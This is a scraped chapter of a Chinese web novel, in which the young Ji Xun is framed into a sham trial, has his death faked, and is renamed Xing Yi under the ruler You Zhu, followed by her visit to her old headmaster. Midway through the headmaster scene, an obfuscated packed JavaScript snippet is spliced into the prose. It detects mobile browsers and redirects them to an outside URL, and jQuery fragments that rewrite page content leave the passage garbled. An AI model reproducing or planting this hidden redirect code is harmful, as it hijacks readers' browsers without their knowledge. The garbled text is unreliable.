94.重生

作品:《反派?那也得冲业绩!

    云宫占地之广,前后两部分占据境都几乎四分之一的土地。一半以圣殿为中心向外扩散建成大大小小几百间宫殿供人工作,另一半布满街道和娱乐设施,为云宫内的人提供生活需求。


    尤渚给了他新的身份和名字,带着他走进了“风琴塔”的顶楼,站在了天国的最高点。


    王座上坐着另一个男人,周身散发着逼人气势,左右天王四目相对,不言而心照不宣的默契,让季寻感到窒息。


    那一天,和兰可就站在上面。


    他站在尤渚身后,看着他背在身后不堪入目的血手,那些血正一滴一滴砸在干净的地板上,一分一秒,季寻能感受到,他静静思索自己的筹码。季寻甚至不确认自己当时是否在呼吸,只记得女人挡在他前面,寥寥数语就改变了他一生的方向。


    或者说,尤渚本身就是他命运的一道分水岭。


    尤渚拿出的筹码,正他和兰可翻脸的起源。


    英卡。


    “落言说,他在蓝国的时候,见到过和英卡长的一模一样的人。”


    “那个人,八成是妖族的奸细,最重要的是……”


    “这个孩子也遭到过袭击,”尤渚转过头,看着季寻问:“你那天晚上,看到凶手的脸了,对吗?”


    他至今仍然不知道尤渚是怎么知道那场扑朔迷离到像梦一般的海上刺杀,她甚至知道那天晚上出现的是英卡的脸。仅仅将事实抛出,右天王就顺理成章的认定英卡就是将近十起案件的凶手。


    “你看到的是英卡吗?”


    季寻点了点头。


    死里逃生的代价,无故报在了远在雪松针学院的英卡身上,他被关押进普通牢狱,很快就没了消息。


    阶下囚换成别人,又好像还是他趴在冰冷地板上的人还是他自己,甚至更加痛苦。


    兰可尝试各种方法,她甚至低声下气的亲自向家里写了信求助,但石沉大海。


    英卡最终还是死了。


    季寻因为检举揭发得到了这辈子第一枚“勋章”,然而没有到手几秒,就被拿去抵消他“隐藏身份”的罪。


    但远远不够,他被推上圣殿审判台,见识到壮观的“掷签决策”,他清清楚楚的看到兰可毫不犹豫的一签,那也是兰可第一次投签,她希望季寻去死,去替无辜的英卡偿命。


    英卡是替罪羊。


    天王撒了一个谎,所有人都信了,除了季寻和兰可。


    直觉自己即将掉入火坑,可身后被刀子逼迫着,不得不一步步向前走,会被烧出满腿疤痕。但他没得选。


    季寻再次下了监狱,这次他不再害怕。


    天王绝不像看上去那样出淤泥而不染,她知道真正的凶手是谁,可选择了包庇。落言只是利用自己向他买了个好,提供了一个可有可无的“牺牲品”。


    人的记忆是有限的,过个几百年,少一点几十年,时间就会把这场漏洞百出的冤案冲的干干净净。


    那他呢?


    这一团毛线里,自己是哪一个结。


    他躺在黑暗的房间中央,扯了扯脖子上了项链,想起落言那双眼,他救了自己,又害得自己众叛亲离,憧憬夹杂着愤恨,不由自主的就咬住了那颗宝石,但连坚硬的牙齿也没能把它咬碎。


    季寻是在监狱里接到自己“死讯”的。


    外界声称已经被处决的季寻,此刻正蹲在铁栏杆旁边,吃力的忍受着刺眼的烛光。


    崔玥提着灯,居高临下的看着他,一句话也不愿意多说,脱下一件白色西装外套,扔给他。


    “走吧,星乙。”


    季寻被废除,他将以“星乙”的身份行走世间。


    后来,她被尤渚养大,一直为右天王做事,而那个出现一面却改变他命运所有走向的人,走进判世主殿,关上了门。


    门再也没打开过,那里面的时间似乎静止,但门外的时间开始双倍流逝,一切天翻地覆。


    星乙换上干净的衣服,看着镜子里的自己。


    映入眼帘的是一张熟悉又陌生的脸,黑色的头发下,眼眶中是两抹蓝色。那正是他自己,不过完全不一样了,没有了从前血红的眼瞳,他变得更“正常”了。


    至少看上去,更像个普通的天族人了。


    为什么眼睛的颜色变了?


    这一抹蓝色好像有一把钥匙,打开了什么隐藏的按键,季寻听不到他在说什么,只感觉突然心慌起来,好像有虫蚁啃食骨肉,难受到极点。


    把脖子上的宝石咬在牙齿间,才短暂的得到缓解。


    崔玥带他见了尤渚。


    不是季寻第一次见右天王,是星乙第一次见右天王。


    他一辈子都忘不了这副眼神,在无数个想要放弃的瞬间,他就是靠着这一点点的希望,一路在尤渚为他安排好的赛道上狂奔,直到抵达终点。


    星乙缓缓单膝跪地,低下了头。


    “我会供养你长大,教你所有你父母没有教给你的,说你父母没有对你讲的,我会保护你的。”尤渚在他面前蹲下,小声说。


    狗不如人。


    人知道将骨头保存,做成更美味的汤,狗只知道骨头是骨肉,只会快速啃噬生怕被抢走。


    人不如狗。


    给狗骨头,它们才会听话,而仅仅给人一点骨头的香味,他就会追着你跑。


    星乙的眼泪一滴滴落在光滑的大理石地板上,水滴中倒映出的,却是自己的脸。


    尤渚把手放在他肩头,她手心温热,一下下轻轻拍打:“我已经迫不及待的想看看你长大后的模样了,星乙。”


    “你的人生才刚要开始呢,宝贝。”


    尤渚手指摩挲着他光洁的额头,就像为他打上了某种钢印。


    “感受到了吗?”尤渚揉了揉他乌黑的头发,又捧起他硌手的脸,似乎想通过对视,来把生机传输给他无措的蓝色眼眸。“感受到了吗?你归属于天国了。”


    少年软绵绵的手臂僵硬起来,后知后觉的抱住了她的肩膀。


    毕业季结束后,稀松平常的一天,雪松针的艾伦校长脱掉皮鞋,双腿伸直翘在桌子上,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076753|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悠闲的擦着眼镜,却被轻轻的敲门声打扰了。


    他慌不择路穿好鞋子,清了清嗓子:“进。”


    一个陌生又熟悉的身影打开了门,艾伦定睛一看,又惊又喜:“小尤啊!”


    “爸爸。”女人关上门,脱下披风:“好久不见。”


    “来找我是有事吧?”艾伦笑着说:“别人说忙我不一定信,你说不忙我可一点不信,有什么事要找我这个老头子帮忙?”


    “我想找一张照片。”尤渚说:“我和惊蛰的毕业合影。”


    “那么久远的照片?找起来可是很费功夫的。”艾伦摇摇头。


    “很久了吗,总觉得那些都只是昨天的事。还没反应过来,我就已经有了余琼和元祈,还收养了遥夏,孩子们先后成人,离我而去,改革失败,大战失败,我要的一切都曾得到,现在又失去了……爸爸,你说我是不是很失败?”女人身居高位,却仍然保持着在老师面前站着说话的习惯,艾伦却不能再像女儿年轻时一样,和迷茫的少女谈心了。


    但尤渚还是心安理得的坐在她从小到大的专属座位,那张陈旧的红皮沙发上,仰天发呆。


    “后悔了?”艾伦问她。


    “我不知道。”尤渚闭着眼睛说:“我只是在想,我是善是恶,是好是坏呢。”


    “不到死,谁能知道。”


    两人挑灯一夜,总算是在一个犄角旮旯里,找到了被层层保护着的,一张年代久远却青涩可爱的照片。


    女生穿着兜帽卫衣,紧身牛仔裤,帽子下是打着卷的金色短发,交叉抱臂,笑起来看上去温柔阳光。男生站在她身边,在她带着帽子的脑袋后面伸剪刀手,故作冷漠的绷着脸,却仍然掩盖不住不成熟的青涩。


    艾伦看着两个孩子,眼神也放的温柔:“你们两个的合影那么多,怎么突然要找这一张?”


    “我们要分开一段时间,很长的一段时间,他想让我帮他挑一张照片放在口袋里,我只要这一张。”


    艾伦定睛回望其他的照片,有他带过的很多学生,功成名就的少,安居乐业的更少,知道自己真正想要什么的更是寥寥无几。


    “你是天国史上第一个从平民阶级走上王位的人,怎么能轻言失败呢?”艾伦的五官在灯火中消磨,“知道我为什么给学校起名叫雪松针吗?”


    雪松,长寿,坚韧,百折不挠。


    雪松针,针状的树叶,没有了平整的叶面,多了锋芒的刺,于是才变得与众不同。


    优点决定了你的评价,缺点拔高了你的知名。我习惯把缺陷美,称作独一无二的标识,把犯过的错误,叫做人性的胎记。


    “所以别再纠结自己的善恶了,多去想想怎样才能活的自在快活,才是正经。”艾伦教育她。


    “哦……”尤渚漫不经心的扫视一圈他的办公室,然后指着红沙发旁边儿的一片空地,“爸爸,你在我办公室里加一个座位呗,也要红色的。”


    “给谁?”艾伦奇了。


    尤渚和他卖关子:“一个可怜的宝贝。”